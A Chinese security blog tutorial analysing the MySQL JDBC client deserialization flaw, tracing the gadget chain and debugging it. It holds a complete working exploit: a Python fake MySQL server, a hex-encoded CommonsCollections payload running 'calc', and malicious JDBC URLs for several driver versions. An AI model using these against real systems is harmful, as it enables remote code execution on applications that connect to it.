头图

MySQL-JDBC反序列化分析

0x01 前言

听师傅们说这条链子用的比较广泛,所以最近学一学,本来是想配合着 tabby 或是 codeql 一起看的,但是 tabby 的环境搭建一直有问题,耽误了很久时间,所以就直接看了

0x02 JDBC 的基础

  • 本来不太想写这点基础的,但想了想觉得还是要补一点

JDBC 对数据库的操作一般有以下步骤

  • 导入包:要求您包含包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.* 就足够了。
  • 注册 JDBC 驱动程序:要求您初始化驱动程序,以便您可以打开与数据库的通信通道。
  • 建立连接:需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象,该对象表示与数据库服务器的物理连接。要创建新的数据库,在准备数据库 URL 时,无需提供任何数据库名称,如下面的示例所述。
  • 执行查询:需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。
  • 清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。

例如创建一个数据库

// 步骤 1. 导入所需的软件包
import java.sql.*;

public class JDBCExample {
   // JDBC 驱动程序名称和数据库 URL
   static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";  
   static final String DB_URL = "jdbc:mysql://localhost/";

   //  数据库凭证
   static final String USER = "username";
   static final String PASS = "password";
   
   public static void main(String[] args) {
   Connection conn = null;
   Statement stmt = null;
   try{
      // 步骤 2:注册 JDBC 驱动程序
      Class.forName("com.mysql.jdbc.Driver");

      // 步骤 3:建立连接
      System.out.println("Connecting to database...");
      conn = DriverManager.getConnection(DB_URL, USER, PASS);

      // 步骤 4:执行查询
      System.out.println("Creating database...");
      stmt = conn.createStatement();
      
      String sql = "CREATE DATABASE STUDENTS";
      stmt.executeUpdate(sql);
      System.out.println("Database created successfully...");
   }catch(SQLException se){
      // 处理 JDBC 错误
      se.printStackTrace();
   }catch(Exception e){
      // 处理 Class.forName 的错误
      e.printStackTrace();
   }finally{
      // 用于关闭资源
      try{
         if(stmt!=null)
            stmt.close();
      }catch(SQLException se2){
      
      }
      try{
         if(conn!=null)
            conn.close();
      }catch(SQLException se){
         se.printStackTrace();
      }
   }// 结束 try
   System.out.println("Goodbye!");
}// 结束 main
}// 结束 JDBCExample

这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用

正常的命令执行得到结果后就结束了,但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化,那么就可以用来执行任意命令了。

【----帮助网安学习,以下所有学习资料加vx:yj009991,备注“思否”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

0x03 漏洞分析

漏洞原理

如果攻击者能够控制 JDBC 连接设置项,那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。

具体点说,就是通过 JDBC 连接 MySQL 服务端时,会有几个内置的 SQL 查询语句要执行,其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集,并且攻击者可以控制 JDBC 连接设置项,那么就能触发 MySQL JDBC 客户端反序列化漏洞。

可被利用的两条查询语句:

  • SHOW SESSION STATUS
  • SHOW COLLATION

链子

pom.xml

<dependency>  
  <groupId>commons-collections</groupId>  
  <artifactId>commons-collections</artifactId>  
  <version>3.2.1</version>  
</dependency>  
<dependency>  
  <groupId>mysql</groupId>  
  <artifactId>mysql-connector-java</artifactId>  
  <version>8.0.13</version>  
</dependency>

CC 链作为命令执行的部分,也就是说需要我们找一个 JDBC 合理的入口类,并且这个入口类需要在 JDBC 连接过程中被自动执行,最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl,它的 getObject() 方法调用了 readObject() 方法

JDBC 通过 MySQL 数据库查询数据会返回一个结果集,将查询到的结果返回给程序,并将结果封装在 ResultSetImpl 这个类中。

所以这个类不满足用户可控输入这一点,所以我们应该要去找谁调用了 ResultSetImpl#getObject()

根据网上的链子是 ResultSetUtil 类调用了 ResultSetImpl#getObject(),并且能够继续向上调用(如果 tabby 或者其他工具搞好了应该会用那些工具分析)

ResultSetUtil 这个类是用来处理一些测试实例的结果,或者是 profiler 的结果。简而言之还是用来做数据处理的类,继续往上看谁调用了它。

最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap

ServerStatusDiffInterceptor 是一个拦截器,在 JDBC URL 中设定属性 queryInterceptorsServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头。

看一下 populateMapWithSessionStatusValues 方法的代码

先建立了 JDBC 的连接,并创建查询,查询语句是 SHOW SESSION STATUS,接着调用 ResultSetUtil.resultSetToMap,完成查询并封装查询结果。

漏洞复现

  • 之前看 Y4tacker 师傅的文章时,发现有提到是直接用 python 脚本打,里面有很多数据,但是这个 ”打“ 肯定不是空穴来风的,所以需要再明确一下攻击思路。

环境搭建可能会踩坑,若有师傅踩坑了可以滴我一下

我们需要先伪造数据包,并用 wireshark 抓包,观测一下流量,编写 Test 类内容如下

import java.sql.*;  
  
public class Test {  
    public static void main(String[] args) throws Exception {  
        Class.forName("com.mysql.jdbc.Driver");  
        String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
                "&autoDeserialize=true" +  
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";  
        Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");  
    }  
}

通过 tcp.port == 3306 && mysql 来过滤协议

我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting 数据包 Response OKResponse Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等,我们逐个来分析。

首先是 greeting 数据包

这里发送 greeting 数据包之后需要发送 Login 请求,Login 请求里面包含了 user 和 db 以及 password,在这之后才会返回 Response OK 的数据包

Login 的请求包在发送完 greeting 包之后会自动发送,所以我们只需要发送一段 greeting 数据包,返回一段 Response OK 数据包即可,Response OK 包如下

继续往下,需要编写四个 Request Query 包的 Response 包后,才是 SHOW SESSION STATUS

响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来

如此,构造出最后的 fake MySQL 服务端

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a 
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

在本地运行,并运行 JDBC 的连接代码

再来看 Fake MySQL 服务端这边的响应,是能收到包,并且发包的;相当清晰

调试分析

  • com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 下个断点,开始调试分析

往下跟,先运行查询语句 SHOW SESSION STATUS,接着调用了 ResultSetUtil.resultSetToMap()

ResultSetUtil.resultSetToMap() 调用了 getObject() 方法,第一处调用 getObject() 方法回返回 null,第二次调用时才会走到反序列化的代码逻辑里面。

在调用 getObject() 方法中,判断 MySQL 的类型为 BLOB 后,就从 MySQL 服务端中获取对应的字节码数据

从 MySQL 服务端获取到字节码数据后,判断 autoDeserialize 是否为 true、字节码数据是否为序列化对象等,最后调用 readObject() 触发反序列化漏洞

不同 MySQL-JDBC-Driver 的 payload

8.x

如上述 Demo:

"jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
        "&autoDeserialize=true" +  
    "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";

6.x

属性名不同,queryInterceptors 换为 statementInterceptors

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

包名中没有cj

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同上,但需要连接后执行查询。

5.1.29 - 5.1.40

jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

0x04 小结

总体来说还是比较简单的一条链子,但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。

更多网安技能的在线实操练习,请点击这里>>


合天网安实验室
领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ;内容涵盖:系统安全,软件安全,网...

合天网安实验室(www.hetianlab.com)-领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全...

31 声望
25 粉丝
0 条评论
推荐阅读
SSTI之细说jinja2的常用构造及利用思路
现在关于ssti注入的文章数不胜数,但大多数是关于各种命令语句的构造语句,且没有根据版本、过滤等具体细分,导致读者可能有一种千篇一律的感觉。所以最近详细整理了一些SSTI常用的payload、利用思路以及题目,谨...

合天网安实验室

封面图
万字长文~vue+express+mysql带你彻底搞懂项目中的权限控制(附所有源码)
所谓的权限,其实指的就是:用户是否能看到,以及是否允许其对数据进行增删改查的操作,因为现在开发项目的主流方式是前后端分离,所以整个项目的权限是后端权限控制搭配前端权限控制共同实现的

水冗水孚11阅读 1.5k

花了几个月时间把 MySQL 重新巩固了一遍,梳理了一篇几万字 “超硬核” 的保姆式学习教程!(持续更新中~)
MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。

民工哥11阅读 1.1k

封面图
一次偶然机会发现的MySQL“负优化”
今天要讲的这件事和上述的两个sql有关,是数年前遇到的一个关于MySQL查询性能的问题。主要是最近刷到了一些关于MySQL查询性能的文章,大部分文章中讲到的都只是一些常见的索引失效场合,于是我回想起了当初被那个...

骑牛上青山8阅读 2.3k评论 2

初学后端,如何做好表结构设计?
这篇文章介绍了设计数据库表结构应该考虑的4个方面,还有优雅设计的6个原则,举了一个例子分享了我的设计思路,为了提高性能我们也要从多方面考虑缓存问题。

王中阳Go4阅读 860评论 2

封面图
2023最新MySQL高频面试题汇总
本文已经收录到Github仓库,该仓库包含计算机基础、Java基础、多线程、JVM、数据库、Redis、Spring、Mybatis、SpringMVC、SpringBoot、分布式、微服务、设计模式、架构、校招社招分享等核心知识点,欢迎star~

程序员大彬4阅读 1k

Mysql 数据库的批量插入或更新(Upsert)
这个问题已经困扰我一段时间了,对于大量数据的插入或更新,批量操作肯定比每条记录调用一次快得多,新数据可以用 insert 批量插入,老数据可以用 replace into 批量更新。但如果不知道数据是否存在(是否有唯一k...

songofhawk2阅读 2.6k

封面图

合天网安实验室(www.hetianlab.com)-领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全...

31 声望
25 粉丝
宣传栏